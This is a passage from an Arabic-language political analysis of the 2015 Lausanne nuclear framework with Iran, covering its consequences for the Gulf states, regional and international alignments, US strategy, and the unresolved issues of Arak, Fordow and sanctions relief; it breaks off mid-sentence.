وتبدو ملامح هذه المشكلة في ثلاثة أبعاد رئيسة، البعد الأول: سبقت الإشارة إليه، وهو خروج العراق من معادلة توزان القوى في المنطقة. البعد الثاني: إن الاتفاق النووي الأخير كشف بوضوح عن عدم قدرة دول مجلس التعاون الخليجي على الاعتماد -لأجل غير مسمى- على الدور الأمريكي الموازن لإيران. صحيح أنه لا يوجد ما يؤكد على أن التفاوض الخاص بالاتفاق النووي الأخير قد شمل القضايا الإقليمية التي يسعى الإيرانيون منذ سنوات إلى إدراجها في المباحثات النووية، وخاصة ما يتعلق بدور إيران الإقليمي، وعلى الرغم أيضًا من أن ما أُنجز في جنيف ليس سوى اتفاق مرحلي، قد يكون خلال الشهور الستة القادمة عرضة لضغوط مختلفة داخل إيران وأمريكا ومن القوى الإقليمية الأخرى في الشرق الأوسط، على نحو قد يؤدي إلى عدم التوصل إلى اتفاق دائم ونهائي، إلا أنه من الصعب في الوقت ذاته القول بأن الاتفاق لن يترك أثرًا على ما هو “سياسي واستراتيجي”، بمعنى أن التقارب الأمريكي الإيراني لن يقف عند حدود البرنامج النووي الإيراني، بل قد يشمل مجمل القضايا السياسية والترتيبات الإقليمية الأمنية في منطقة الخليج والشرق الأوسط برمته. ولا تستبعد بعض الأوساط الخليجية أن تكرر واشنطن مع طهران ما فعلته مع موسكو عندما اتفقتا على تسوية الملف الكيماوي في سوريا، واختزلتا الأزمة برمتها في هذا الملف، وأهملتا كافة عناصر ومكونات الأزمة السورية الأخرى. من هنا، تبدو الخشية الخليجية من أن تختصر واشنطن الأزمة مع طهران في الملف النووي، وتقبل بدور إيران الإقليمي في المنطقة، دون ضمانات لأمن دول مجلس التعاون الخليجي.

البعد الثالث: يتمثل في “تآكل” الرهان الخليجي على الدور التركي كموازن لإيران في المنطقة، فالتوجه الخليجي الذي تشكل خلال السنوات القليلة الماضية للتقارب مع تركيا، لإفساح المجال لتوازن قوى إقليمي جديد، تلعب تركيا فيه دور الموازن الاقليمي لإيران، بات اليوم على المحك، بعد أن تسبب اختلاف المواقف بشأن دول الربيع العربي، وخاصة مصر، في خلق فجوة ثقة عميقة مع أنقرة، تبدو تركيا أقرب فيها إلى إعادة النظر في سياستها الإقليمية منها إلى الاستجابة لمتطلبات العلاقة مع دول الخليج، بل قد تشهد المدة القادمة حدوث تقارب تركي-إيراني.

هذه المشكلة ثلاثية الأبعاد تعكس بشكل واضح مدى القصور في التفكير الاستراتيجي الخليجي، الذي لم يقرأ منذ وقت مبكر المؤشرات التي أوحت بهذه التغييرات، وخاصة ما يتعلق منها بالسياسة الأمريكية على وجه التحديد، فالاتفاق النووي لم يخلق مشكلة “الانكشاف الاستراتيجي” ولم يوجدها، وإنما كشف عنها وجعلها أكثر وضوحًا، إذ كانت هناك مؤشرات أولية تقود إلى توقع حدوث تغييرات في السياسة الأمريكية تجاه المنطقة ربما لم تقرأها دول الخليج بشكل جيد ومبكر، منها على سبيل المثال الوثيقة التي نشرتها إدارة الرئيس أوباما في يناير 2012، حول تصورها لاستراتيجية الولايات المتحدة العالمية، والتي أشارت بوضوح إلى انتقال الأولوية الأمريكية من أوروبا والشرق الأوسط إلى حوض الباسيفيك، على خلفية تراجع المخاطر التي تهدد المصالح الأمريكية في كلا الدائرتين، أو حتى تراجع الأهمية النسبية لكليهما. ومن أن الصين باتت تمثل التهديد الأكبر لموقع أمريكا ودورها في الساحة الدولية.

ومن هذه المؤشرات أيضًا “ثورة الغاز الصخري” التي تؤكد العديد من التقارير الحديثة أنها قد تقود مستقبلا إلى تحقيق اكتفاء ذاتي أمريكي في مجال الطاقة، وتقلل بالتالي من اعتمادها على نفط الخليج. وقد كان للموقف الأمريكي في إدارته لأزمة استخدام النظام السوري للأسلحة الكيميائية دلالات عميقة في فهم هذا التحول في السياسة الأمريكية تجاه المنطقة(31).

التداعيات الدولية

     كثرة تداعيات الاتفاق النووي منذ عام 2013 بمجرد المباشرة بالمفاوضات النووية, إذ كانت هناك تداعيات على الصعيد الدولي حتى ان البعض اسماها بـ” زلزال جيوسياسي” مثل توماس فريدمان في مقال له في صحيفة “ذي نيويورك تايمز”، رأى فيه أن تأثيرات اتفاق أميركي – دولي – إيراني على المنطقة “قد تفوق وقع كامب ديفيد والثورة الإيرانية معاً في إعادة ترتيب الشرق الأوسط”. بات واضحا أن الاتفاق النووي بين الدول الست وإيران ليس سوى ملف من ملفات أنجزت في دوائر القرار العالمية. سيليه على المستوي الدولي تخفيف الاحتقان بين روسيا واميركا الذي كاد أن ينفجر بسبب الازمة السورية ،وتسهيل الانسحاب الاميركي من افغانستان عام 2014 وهو حاجة اميركية ملحة ,وتفكيك الدرع الصاروخي الذي نصب في تركيا بذريعة النووي الإيراني , حيث رحب وزير الخارجية الروسي سيرغي لافروف بالاتفاق قائلا “ليس هناك من خاسر، الكل رابحون. إذا تم تنفيذ الاتفاقية النووية مع إيران ستنعدم أسباب نشر الدرع الصاروخي “.

     ومن تداعيات الاتفاق تسريع الحل في سوريا , إذ ان الرئيس الاسد هو من اكبر الرابحين من هذا الاتفاق ومن الاتفاق الكيميائي , حيث ان صمود التحالف السوري – الإيراني ساهم في انجاز هذا الاتفاق. إذ ليس صدفة تحديد موعد جنيف 2 بعد اعلان الاتفاق النووي مباشرة، وكذلك الدعوة لاجتماع المعارضة في روسيا لتحديد ممثليها إلى جنيف2، وليس صدفة زيارة وزيري خارجية تركيا والامارات العربية إلى إيران للاستلحاق بركوب قطار التسوية، واخيرا ليس صدفة اعادة الاتصالات الامنية بين سوريا والغرب للتعاون في ملف مكافحة الارهاب. لقد انقلب المشهد السياسي برمته, فلم تعد ازاحة الرئيس الاسد المطلب الاساس لولوج الحل عند اميركا والغرب بل بات تشكيل الجبهة العالمية لمكافحة الارهاب هو المطلب الملح اقليميا وعالميا . ومن يدري هل سيكون الرئيس الاسد هو قائد هذا المحور في المستقبل القريب ؟. وربما ستحل الازمة السورية بعد الاتفاق الاخير في لوزان, وستلجأ الولايات المتحدة إلى اسلوب الحوار والتفاوض مع الرئيس بشار, وهذا ما افصح عنه وزير الخارجية الامريكي جون كيري.

     سعت الولايات المتحدة إلى إعادة هندسة المنطقة وفق توازنات جديدة تضمن عدم انزلاق الأمور إلى حروب كبيرة، وبما يوفر مصالحها الاستراتيجية المتعلقة بالنفط وأمن الكيان الإسرائيلي. يبدو أن هذه الهندسة وكما هو ملاحظ من مجمل أزمات المنطقة المفتوحة لها ممر الزامي يتمثل بإعادة هندسة التوازنات الداخلية في الدول المركزية لهذه المنطقة: مصر , سوريا, العراق, لبنان, السعودية، واليمن . لقد طرحت اميركا على إيران قبل توقيع الاتفاق النووي أن يتم الاتفاق على هذه الملفات الست إلى جانب الملف النووي ,فكان الرد الإيراني ان يتم الاتفاق على الملف النووي أولا لاختبار النيات, وبعدها نبحث في الملفات الاخرى ، اما إذا وقد وقع الاتفاق النووي, ستكون إيران هي الممر الالزامي لحل هذه الملفات، وسيعاد تشكيل الشرق الأوسط الجديد وفق موازين القوى الجديدة, لا كما ارادته كونداليزا رايس عام 2006 والذي دفنته المقاومة في لبنان, بل شرق أوسط مقاوم, لروسيا وإيران وسوريا دور بارز في رسم معالمه وتشكيله.

     إن عودة روسيا بقوة إلى منطقة الشرق الأوسط واعادة التوازن إلى النظام العالمي , وبروز الدور الإيراني القوي الداعم للمقاومة بعد تعليق العقوبات عليها بموجب الاتفاق النووي, سيكون لهما تأثيرات كبيرة على القضية الفلسطينية والشعب الفلسطيني . وعلى القيادة الفلسطينية أن تحسن قراءة هذه المتغيرات والتطورات والاستفادة منها لصالح الشعب الفلسطيني وقضيته المحقة وحقوقه المشروعة , وتعيد تموقعها مجددا مع محور المقاومة بعد مغادرته بسبب رهانها الكارثي على ما سمي بالربيع العربي, وتعيد رسم استراتيجية مقاومة جديدة بعد تقييم مسيرتها التي أوصلتها إلى المأزق والطريق المسدود، وتوقف المفاوضات العبثية والعقيمة المستمرة منذ أكثر من عشرين عاماً، والتي استغلها ويستغلها الكيان الصهيوني الغاصب من اجل فرض حقائق ووقائع جديدة عبر توسيع الاستيطان ومصادرة الارض(32).

سابعاً: تأثير الاتفاق النووي على دول الخليج

       بوجه عام, يمكن القول ان هناك حزمة من التداعيات الناتجة عن توقيع الاتفاق النووي الإيراني الغربي على النحو الآتي:

  1. اضطلاع إيران بدور الهيمنة الإقليمية: إن مبعث قلق بعض دول الخليج يتمثل في تركيز الاتفاق على المصالح الأمريكية دون مراعاة هواجس دول الخليج, ولا سيما فيما يتعلق بتعاظم نفوذ إيران دون ضمانات لأمن دول مجلس التعاون الخليجي, بحيث يميل توازن القوى العربية الكبرى(مصر وسوريا والعراق), وهو ما تعبر عنه تصريحات رسمية سعودية حينما قال رئيس لجنة الشؤون الخارجية بمجلس السعودي عبد الله العسكري في 24 نوفمبر الماضي ” إن النوم سيجافي سكان منطقة الشرق الأوسط بعد الاتفاق النووي, وأضاف “اخشى أن تكون إيران ستتخلى عن شيء في برنامجها النووي لتحصل على شيء آخر من القوى الكبرى على صعيد السياسة الإقليمية. أشعر بالقلق بشأن إتاحة مساحة أكبر لإيران أو إطلاق يدها في المنطقة”. بعبارة اخرى, إن ثمة تخوفات خليجية بأن يكون هذا الاتفاق غير قاصر على البرنامج النووي الإيراني بل يشمل ملفات اقليمية تعدها احد الأوراق الرئيسة سواء في سوريا أم لبنان أم اليمن تم التباحث بشأنها في المباحثات السرية, بما يمنح إيران أدوار تدخليه متزايدة في الملفات الإقليمية, ويعطي الاتفاق طهران هامشاَ أكبر للمناورة, وهو ما يكون على حساب المصالح الخليجية, ولا سيما وأن هناك تصريحات تعكس استعراض أوضاع القوة الجديدة, ليس بالضبط ضد دول الخليج وإنما ضد ما تعده طهران دول معادية مثل إسرائيل.
  2. تجنب المنطقة حربا خليجية رابعة: إن أبرز تأثيرات هذا الاتفاق هو تجنب سيناريو الجحيم الناتج عن نشوب حرب اقليمية دولية, إذ تجد دول الخليج نفسها مضطرة للاستعداد لاحتمال نشوب حرب في المنطقة.
  3. التوصل إلى تسوية اقليمية بشأن الأزمة السورية: إن واحدا من السيناريوهات المحتملة بشأن التوقيع على هذا الاتفاق هو خسارة دول الخليج لهدف رئيس، وهو الإسراع بإسقاط نظام بشار الأسد في سوريا(33).

ثامناً: الخيارات الخليجية المتاحة بعد الاتفاق النووي الأخير

   القول بتراجع الاهتمام الأمريكي بشؤون المنطقة، أو عدم جدوى الاعتماد الخليجي على الدور الأمريكي لأجل غير مسمى، لا يعني التسليم بسيناريو “الصفقة الكبرى” من الاتفاق النووي، والذي يوحي بأن الولايات المتحدة سوف تترك إيران وتطلق يدها في منطقة الخليج لتفعل ما تشاء، فمثل هذا التصور ينطوي على تبسيط مبالغ فيه للأمور. فالولايات المتحدة ما تزال لديها مصالح حيوية ثابتة في المنطقة، وليس لديها استعداد للسماح لإيران بالانفراد بأمن المنطقة، ولكن المقصود هو اتجاه الاستراتيجية الأمريكية الجديدة اتجاه إيران والانتقال من الصدام إلى التقارب المتوازن، والوصول إلى مواقف متقاربة معها بشأن الملفات الإقليمية التي ما تزال عالقة ومتداخلة حتى الآن، مع عدم التفريط في أمن الحلفاء الاستراتيجيين لواشنطن في المنطقة.

     في ظل هذه المعادلة الجديدة المرتقبة في المنطقة، يمكن القول ان دول مجلس التعاون الخليجي أمامها ثلاثة خيارات رئيسة في إدارة العلاقة مع إيران بعد التقارب الأمريكي-الغربي معها، إما الاتجاه نحو التقارب والانفتاح في العلاقات معها، أو استمرار الفتور في العلاقات بين الجانبين، أو اتخاذها “الطابع البندولي” الذي ميزها في أغلب الحقب الماضية، ما بين التعاون تارة والصراع تارة أخرى. ودون الدخول في التفاصيل الخاصة بكل سيناريو من تلك السيناريوهات الثلاثة، يمكن القول ان سيناريو التقارب والانفتاح في العلاقة مع طهران الذي قد يستتبعه حوار جاد بشأن قضايا الخلاف الرئيسة وفي مقدمتها السلوك الإيراني التدخلي في شؤون دول المنطقة، قد يكون هو الأجدى في المرحلة الحالية بالنسبة لدول الخليج. فالولايات المتحدة، رغم حالة العداء الممتدة بينها وبين إيران، عندما وجدت أن مصلحتها تكمن في التوافق مع الأخيرة لم تتوان عن فعل ذلك.

ويبدو أن كلا الجانبين -الخليجي والإيراني- أقرب إلى هذا الاتجاه وفق بعض المؤشرات الأولية التي تدعم من ذلك، منها على الجانب الخليجي: الموقف الرسمي من الاتفاق النووي الأخير، حيث رحبت دول مجلس التعاون بالاتفاق في بداياته التفاوضية، وأعلنت أنها تنظر للتقارب بين طهران وواشنطن على أنه خطوة نحو الاستقرار والأمن في المنطقة، أكثر منه تهديدًا، ولم يتم رصد إشارات سلبية أو انتقادات خليجية رسمية في هذا الصدد، اللهم إلا التشديد على ضرورة ألا تكون الانفراجة في العلاقات بين إيران والغرب، وتحديدًا الولايات المتحدة، على حساب دول المنطقة(34). ومع هذا فإن هناك من يرى بأن أمام الدول الخليجية حزمة من السياسات التي ربما تنتجها الخليج, خلال المرحلة المقبلة, للتعامل مع تأثيرات الاتفاق النووي, على النحو الآتي:

  1. استمرار دول خليجية, وتحديدا السعودية والامارات في نهج عدم اتباع سياسات إقليمية تتماشى كليا مع الخطوط العريضة لاستراتيجية الولايات المتحدة، إلا أن متابعة السلوك الرسمي في بلدان مجلس التعاون لا تشير إلى توجه لمراجعة فهمها لعلاقة “التحالف الاستراتيجي” مع الولايات المتحدة. فجميع حكام الخليج يعرفون عدم واقعية وجدوى التصريحات العنترية حول التوجه لرسم مسار جديد لسياسة خارجية مستقلة عن الولايات المتحدة. فالصين ليست في وارد منافسة الولايات المتحدة على بلدان الخليج العربية. ولا اليابان أو الهند مؤهلتان لذلك. وتعاني بلدان الاتحاد الأوروبي من الأزمة الاقتصادية التي فرضت على دوله تخفيض إنفاقاتها العامة (انخفض الإنفاق العسكري في الاتحاد الأوروبي من 251 بليون يورو في العام 2001 ليصبح 194 بليون يورو في 2013). لهذا يبدو من الحكمة أن يستمع حكام الخليج إلى نصيحة مهمة نشرتها فاينانشال تايمز (25/11/2013): فليس لهم سوى الولايات المتحدة، وحتى “السعودية وهي الدولة الأقوى في المنظومة الخليجية لا تملك الخيارات وليس لديها الحلفاء والخبرة اللازمة لمواجهة مفتوحة ومكلفة مع إيران”(35).
  2. تنويع التحالفات الدولية للدول الخليجية.
  3. تطوير الأطر التنظيمية الخليجية: البدء في تطوير القدرات الذاتية الخليجية بشكل تدريجي من خلال تطوير قوة درع الجزيرة وتنمية قدراتها وتطوير مهامها لتعمل كقوة تدخل سريع لتأمين الأهداف الحيوية في دول مجلس التعاون الخليجي.
  4. السعي لامتلاك برامج نووية خليجية(36).
  5. دعم مسألة إجراء حوار بين إيران ودول الخليج بما يوفر تطمينات للطرفين. وهناك مؤشرات أيضًا على هذا الحوار، تمثلت في الزيارة التي قام بها وزير خارجية الإمارات الشيخ عبد الله بن زايد آل نهيان إلى طهران بعد التوصل إلى الاتفاق النووي (اتفاق جنيف وليس لوزان)، حيث أكد رغبة بلاده في تشكيل لجنة اقتصادية مشتركة من أجل تعزيز الروابط مع طهران في جميع الميادين، وخصوصًا نشاطات القطاع الخاص. ورغم تأكيده أن الزيارة “كانت مبرمجة سلفًا منذ أشهر في إطار الزيارات الدائمة المتبادلة بين البلدين”، إلا أن توقيتها حمل دلالات مهمة في قراءة التوجه الخليجي نحو إيران بعد توقيعها الاتفاق النووي الأخير. كما كشفت المتحدثة باسم الخارجية الإيرانية أن طهران تسلمت دعوة للمشاركة في منتدى حوار المنامة، وأنها ستلبي هذه الدعوة. على الجانب الإيراني، يمكن رصد بعض المؤشرات أيضًا، لعل أهمها الجولة الخليجية التي قام بها وزير الخارجية الإيراني محمد جواد ظريف إلى كل من الكويت، وسلطنة عمان، ودولة قطر، ودولة الإمارات العربية المتحدة، حاول خلالها طمأنة هذه الدول بشأن الاتفاق النووي، كما دعا إلى فتح صفحة جديدة من العلاقات بين هذه الدول وبين إيران. ولم يلتقِ ظريف خلال هذه الجولة فقط بنظرائه من وزراء الخارجية الخليجيين، بل التقى بملوك وأمراء الدول التي زارها، ووجه إليهم الدعوة على لسان الرئيس الإيراني لزيارة طهران، ووعدوا جميعهم بتلبيتها في أقرب وقت. ورغم أن الجولة لم تشمل المملكة العربية السعودية، إلا أنها كانت الحاضر الغائب في تصريحات جواد ظريف خلال جولته، حيث أعرب عن رغبته في زيارة المملكة بعد بعض الترتيبات التي يتم العمل فيها حاليًّا، كما كرر أكثر من مرة وفي أكثر من دولة خليجية رغبة طهران في تعزيز التعاون مع المملكة العربية السعودية، فيما أشارت المتحدثة باسم الخارجية الإيرانية إلى أن هناك زيارة مرتقبة لرئيس مجمع تشخيص مصلحة النظام أكبر هاشمي رفسنجاني إلى المملكة العربية السعودية، لكن لم يتم تحديد موعدها(37). ومع ذلك فإن سيناريوهات المستقبل بالنسبة للسياسات الخليجية إزاء تداعيات اتفاق لوزان عديدة، فضلا عن أن المسارات المفتوحة التي تحمل افتراضات وتغيرات متعددة. كذلكإيران لن تقوم بما تريده دول الخليج منها بشكل رضائي، أو تطوعي، فالسياسة الدولية لا تعرف إلا لغة المصالح، وإثبات حسن النوايا الذي تتحدث عنه دول الخليج لن يتحول إلى إجراءات فعلية لإعادة بناء الثقة بين الجانبين إلا إذا امتلكت دول الخليج ما تستطيع به أن تفرض على طهران احترام وجهة نظرها تجاه القضايا الخلافية بين الجانبين، والمقصود هنا مرة أخرى عامل الردع، وهو أمر لطالما طالب به العديد من أفراد النخبة الخليجية والعربية منذ زمن طويل دون استجابة حقيقية من صانع القرار الخليجي.

غاية القول مما سبق، انه إذا كانت الظروف والتطورات التي تشهدها منطقة الخليج تقتضي من دول مجلس التعاون الخليجي التقارب والانفتاح في العلاقة مع إيران، والدخول معها في نوع من الحوار البناء بشأن القضايا والملفات الشائكة بين الجانبين، فإن هذا التقارب لن يكون مجديًا لدول الخليج إلا إذا كانت تمتلك ما يمكنها من فرض وجهة نظرها تجاه هذه القضايا والملفات. وإذا كانت هذه الدول قد تأخرت كثيرًا في هذا الشأن، فعليها ألا تضيع المزيد من الوقت في دبلوماسية القمم، وأن تتخذ خطوات جادة وفاعلة على أرض الواقع باتت مطلوبة الآن أكثر من أي وقت مضى, وربما ازمة اليمن قد ادخلت تلك الاطراف في مشاكل إلا أن حل تلك الازمة بطرق سليمة ووقف القصف عن اليمن, والوصول إلى حلول سلمية سيقرب الطرفين – دول الخليج وإيران- من حلحلة بعض المشاكل, ولا سيما أن التوصل إلى حل الازمة اليمنية بطرق سلمية ما زالت احد الخيارات المطروحة.

تاسعاً: السياسة الإقليمية للولايات المتحدة

     تناول فريدمان بعد ذلك الاستراتيجية للتعامل مع دول المنطقة ولا سيما مع السعودية وإيران وإسرائيل, وأشار إلى ما يمكن وصفة “بالمفارقة”. حيث ذكر أن الولايات المتحدة لن تتخلى عن حليفها السعودي والإسرائيلي, في حين أن سياستها الإقليمية تجاه إيران تحديدا ستكون سياسة غير رشيدة, بحيث تسعى الولايات المتحدة إلى استعادة علاقتها الجيدة مع السعودية وإسرائيل, لكن بصورة معتدلة تتمثل في أن يـأتي الدعم الامريكي في سياق توازن القوى ولاسيما بين إيران والسعودية. وفي ذات الوقت تستعد الولايات المتحدة لدعم السعودية وفق هذا السياق, وسيكون على السعودية قبول الوضع كما تفرضه الولايات المتحدة والتي تريد دولة إيرانية مستقرة وقوية ومعتمدة على نفسها بصورة أو بأخرى بغض النظر عن آيديولوجيتها. كما تسعى الولايات المتحدة لخلق توازن قوى في المنطقة يكون عبارة عن مكون سني- شيعي أو توازن عربي – إيراني لا يكون من دواعيه قيام حرب, بل أنه يمثل ما يشبه القوى المضادة لبعضها البعض.

     ولقد بنيت الاستراتيجية الأمريكية في المنطقة على خبرتها في العراق وافغانستان, حيث تعلمت واشنطن أن الاستغلال المباشر للقوة الامريكية لا يحقق مصالحها في المنطقة ويرجع ذلك جزئيا إلى ان فرض الحلول يحتاج قوات اكثر مما لدى الولايات المتحدة, فضلا عن أن اجبار القوات على العمل يولد المقاومة وعصيان الأمور, ومن ثم تحتاج الولايات المتحدة – في رأي فريدمان – إلى ادوات تحقق بها مصالحها دون اللجوء للاستخدام المباشر للقوة. ووفقا لوجهة النظر الامريكية, فإن الولايات المتحدة ملتزمة بضمان أمن إسرائيل. وأشار فريدمان في مقالة ايضا إلى أن الولايات المتحدة تسعى إلى أن تصل إسرائيل إلى مرحلة “النضج”، بمعنى أن تعتمد على نفسها, وتواصل تحقيق مصالحها دون اللجوء للولايات المتحدة إلا في الحالات التي يكون فيها بقاء إسرائيل على المحك. ويرى بأن السعودية ستضطر لبذل مساع لتحقيق التوازن مع الإيرانيين, وسوف يضطر الإسرائيليون لمواجهة التهديدات الاستراتيجية, لكن ستظل هناك إشكاليات استراتيجية قائمة، وعلى كل من السعودية وإسرائيل الحفاظ على بقائها(38).

عاشراً: مستقبل الاتفاق النووي

     على الرغم من التوصل لاتفاق مبدئي مفصل مع إيران مازال أمام الرئيس الأمريكي باراك أوباما مهمة جسيمة تتمثل في منع الكونغرس من إفساد الاتفاق النووي مع طهران والحفاظ على المحادثات من الانهيار بسبب التفاصيل الدقيقة. فرغم أن القوى العالمية وإيران أحرزت تقدما حقيقيا عبر توصلها لاتفاق واسع في سويسرا يوم الخميس فإن الاختبار الحقيقي سيكون في نهاية يونيو حزيران، وهو الموعد النهائي الذي حددته الأطراف للتوصل لاتفاق نهائي. يقول إدوين ليمان من مؤسسة (اتحاد العلماء المهتمين) غير الهادفة للربح ومقرها واشنطن والتي تنتقد بشدة استخدام الطاقة النووية “هذا تطور مشجع لكن بالطبع الشيطان يكمن في التفاصيل”. وتأرجحت الاحتمالات بشأن المحادثات المطولة التي عقدت في مدينة لوزان بين النجاح والانهيار، وحذر أوباما نفسه يوم الخميس من أن “النجاح غير مضمون” على الرغم من الاتفاق. ولم يبد خصوم أوباما الجمهوريون أي بوادر على التراجع عن خطط طرح تشريع يقول أوباما إنه سيقوض المحادثات ويشمل بندا يقتضي موافقة الكونغرس الذي يغلب عليه الجمهوريون على أي اتفاق نهائي. زيرى ماركو روبيو، عضو مجلس الشيوخ الأمريكي والمرشح المحتمل لانتخابات الرئاسة يقول” إن البنود المبدئية للاتفاق الإيراني مقلقة جدا”، وتعهد بالسعي لفرض عقوبات إضافية على طهران. لكن موقف أوباما في الكونغرس يمكن أن يعززه محتوى الاتفاق الإطاري الذي اشتمل على كم من التفاصيل فاجأ كثيرين وذلك على الرغم من أنه ما يزال يتعين تسوية الكثير من النقاط الرئيسة(39). فالرئيس أوباما، والمناصرون الآخرون للاتفاق، سيعملون على جعل الجمهور يقارن ما بين هذه النتيجة وبين اندلاع حرب مع إيران. ومن بين هذين الخيارين، من المؤكد أن يميل كثيرون إلى الترحيب بالصفقة. إلا أن المتحدث الرسمي باسم البيت الأبيض جوش إرنست قال يوم الأربعاء المنصرم: إن بدائل أخرى كانت قيد الدراسة، بما فيها زيادة العقوبات أو تمديد المحادثات (40). يذكر أن إيران ستوقف بموجب الاتفاق أكثر من ثلثي أجهزة الطرد المركزي -وهي الأجهزة القادرة على إنتاج يورانيوم يمكن استخدامه لتصنيع قنبلة- فضلا عن تفكيك مفاعل يمكن أن ينتج البلوتونيوم وقبول إجراءات شاملة للتحقق من تنفيذ الاتفاق.

       وأظهر تقرير أمريكي أن إيران وافقت على خفض أعداد أجهزة الطرد المركزي التي ركبتها من 19 ألف إلى 6104 جهاز، وستكتفي بتشغيل 5060 جهازا فقط بموجب الاتفاق المستقبلي مع القوى العالمية الست. وقال جون ألترمان، مدير برنامج الشرق الأوسط بمركز الدراسات الاستراتيجية والدولية في واشنطن “السؤال المهم هو هل الاتفاق محدد بما يكفي لتلبية مطالب المنتقدين في الكونغرس وغامض بما يكفي لأن يقول الإيرانيون لجماهيرهم إنهم لم يقدموا تنازلات كبيرة. إلا أن هناك قضايا صعبة في الاتفاق من الممكن أن تحدد مستقبل هذا الاتفاق, من بين أصعب القضايا الفنية التي لم تحسم بعد ما إذا كانت إيران ستحدث مفاعل آراك للماء الثقيل وموقع فوردو النووي المقام تحت الأرض. وبموجب الاتفاق الذي أبرم الخميس، وافقت إيران على عدم إجراء أبحاث وأعمال تطوير تمكنها من إنتاج مواد صالحة للاستخدام في تصنيع قنبلة. وفي ظل إمكانية أن ينتج مفاعل اراك البلوتونيوم -الذي يمكن أيضا استخدامه في تصنيع أسلحة نووية- سعى الغرب إلى إغلاقه أو تحويله إلى محطة تعمل بالماء الخفيف لتقليل احتمالات الانتشار النووي. وقالت إيران إن المفاعل لن ينتج سوى نظائر مشعة لاستخدامها في الطب والزراعة، واستبعدت إغلاقه. لكن مسألة كيف ستعيد إيران بناء وتصميم مفاعل آراك ربما تكون محل خلاف. ويريد المسؤولون الغربيون تحويل مفاعل فوردو الذي أقيمت غرف التخصيب فيه على عمق 91 مترا تحت الأرض إلى منشأة لا علاقة لها بالتخصيب. وبموجب الاتفاق وافقت إيران على وقف التخصيب في فوردو لمدة 15 عاما وقصر استخدامه على “الأغراض السلمية”. لكن تحديد طبيعة “الأغراض السلمية” يمكن أن ينطوي على تحديات(41). فالبعض يرى بأن المقارنة بين المؤشرات التي أُعلن عنها الخميس وبين المواقف التفاوضية الأمريكية السابقة، سواء في عهد الرئيس أوباما أم الرئيس السابق جورج بوش الابن، فإن الأمر يبدو أقل من ان يكون انتصاراً. فقد قدمت الدول الخمس الدائمة العضوية في مجلس الأمن + ألمانيا تنازلات كبيرة، بما فيها السماح لإيران بالاحتفاظ بمرافق بُنيت بشكل غير قانوني في مُنشأتي فوردو وآراك، وبالحفاظ على مخزونها من اليورانيوم المخصب، وبالتخلص بشكل تدريجي من معظم القيود بعد عشرة أعوام. وستبرّر الإدارة الأمريكية ذلك بأنه كان من الأجدر السيطرة على هذه العوامل (رغم أنه من المبالغة وصفها، كما فعل وزير الخارجية جون كيري، على أنها تعادل “استسلاماً” إيرانياً) ولكن تحقيق ذلك كان ببساطة غير ممكن(42). وأصرت طهران على الحق في إجراء أبحاث متطورة في مجال أجهزة الطرد المركزي هناك. ومن بين القضايا التي يمكن أن تؤدي لتعثر المفاوضات من الآن وحتى يونيو حزيران توقيت رفع عقوبات الأمم المتحدة عن إيران، وتشمل حظرا على التجارة في التكنولوجيا النووية والصاروخية وحظرا على السلاح. وبموجب اتفاق الخميس سيتم رفع العقوبات النووية التي تفرضها الولايات المتحدة والاتحاد الأوروبي على إيران تدريجيا عندما تبدي التزاما بالاتفاق المستقبلي الشامل. وسترفع بعض عقوبات مجلس الأمن الدولي تدريجيا وإن كان غيرها سيظل ساريا خاصة تلك المرتبطة بالانتشار النووي. وكانت إيران تريد رفع كافة عقوبات الأمم المتحدة فورا. لكن في حين سيؤدي عدم الالتزام ببنود الاتفاق إلى إعادة العقوبات الأمريكية والأوروبية فورا لم يحدد التقرير الأمريكي الذي نشر بعد الاتفاق كيف سيعاد فرض عقوبات الأمم المتحدة. وكان المفاوضون الأمريكيون والأوروبيون يريدون أن ينطوي تخفيف عقوبات الأمم المتحدة على إمكانية إعادة فرضها تلقائيا. لكن روسيا رفضت ذلك؛ لأنه سيقوض حق النقض (الفيتو) الذي تتمتع به في مجلس الأمن الدولي. والدبلوماسية النووية محورية بالنسبة لسياسة أوباما الخارجية في الشرق الأوسط، حيث تلعب طهران دورا لا يستهان به في الصراعات الطائفية بدءا من سوريا والعراق وانتهاء باليمن، كما أنها تسببت في توتر العلاقات بين واشنطن وإسرائيل. ويواجه أوباما تحديا يتمثل في تهدئة إسرائيل التي تعد برنامج إيران النووي مصدر تهديد لوجودها، وقد لمحت فيما سبق إلى أنها قد تهاجم المواقع النووية الإيرانية إذا اعتقدت أن طهران تتخذ خطوات سريعة لتصنيع قنبلة نووية. وقال آرون ديفيد ميلر المفاوض السابق الذي مثل إدارتي الجمهوريين والديمقراطيين في محادثات بالشرق الأوسط “سلوك إيران في سوريا والعراق واليمن -كل هذه الأماكن- سيظل يصعّب على أوباما الوضع في الشرق الأوسط… لكن قد تبرز هنا قوة جذب كافية للانتقال إلى المرحلة التالية من المفاوضات(43).

وحتى مع بقاء العديد من النقاط التي لا بد من تحديدها، فإن التوافق على الإطار المبدئي الذي أبرم من مجموعة “دول الخمسة زائد واحد” مع إيران سيمثل تقدماً نحو تقييد البرنامج النووي الإيراني. ومع ذلك، فإن ادّعاء إدارة الرئيس الأمريكي أوباما بأن أي اتفاق يتم التوصل إليه في النهاية سيقطع كافة الطرق التي تسمح لإيران بالوصول إلى سلاح نووي إيراني، هو ادعاء يحمل بالتأكيد في طياته عامل المبالغة. ففي أحسن الأحوال، ستضع الصفقة عوائق فيما يخص مدة الاتفاق ولكنها لن تقدم الكثير بعد ذلك. وفي تلك المرحلة، سيتوجب على الإدارة الأمريكية ومن سيخلفها توضيح أنه إذا ما سعت إيران إلى تجاوز العتبة النووية وإنتاج يورانيوم مخصب – أو إعداد الأسلحة النووية – فإن ذلك سيدفع بالولايات المتحدة إلى استخدام القوة. ولكن في تلك الحالة، سوف تعمل واشنطن على منع الإيرانيين من ترجمة بنيتهم التحتية النووية الكبيرة إلى سلاح نووي، وليس على تفكيك البرنامج(44). ومن ثم، وعلى حد قول مايكل سينغ لا يجب التوصل فقط إلى التفاصيل المتعلقة بالاتفاق النووي في الأسابيع المقبلة، إذ لا بد للإدارة الأمريكية أن تحدد – بالتعاون مع الكونغرس – كيف ستعالج مخاوفها الأوسع نطاقاً حول إيران في بيئة من الضغط المتراخي، وكيف ستطمئن حلفاء الولايات المتحدة حول التزام واشنطن تجاههم وتجاه الشرق الأوسط في أعقاب اتفاق سيعده الكثيرون على أنه مضاد لمصالحهم. إذا أرادت الولايات المتحدة الحفاظ على التقدم الدبلوماسي، سيتوجب عليها إقناع المنتقدين على الصعيد الداخلي بعزمها على 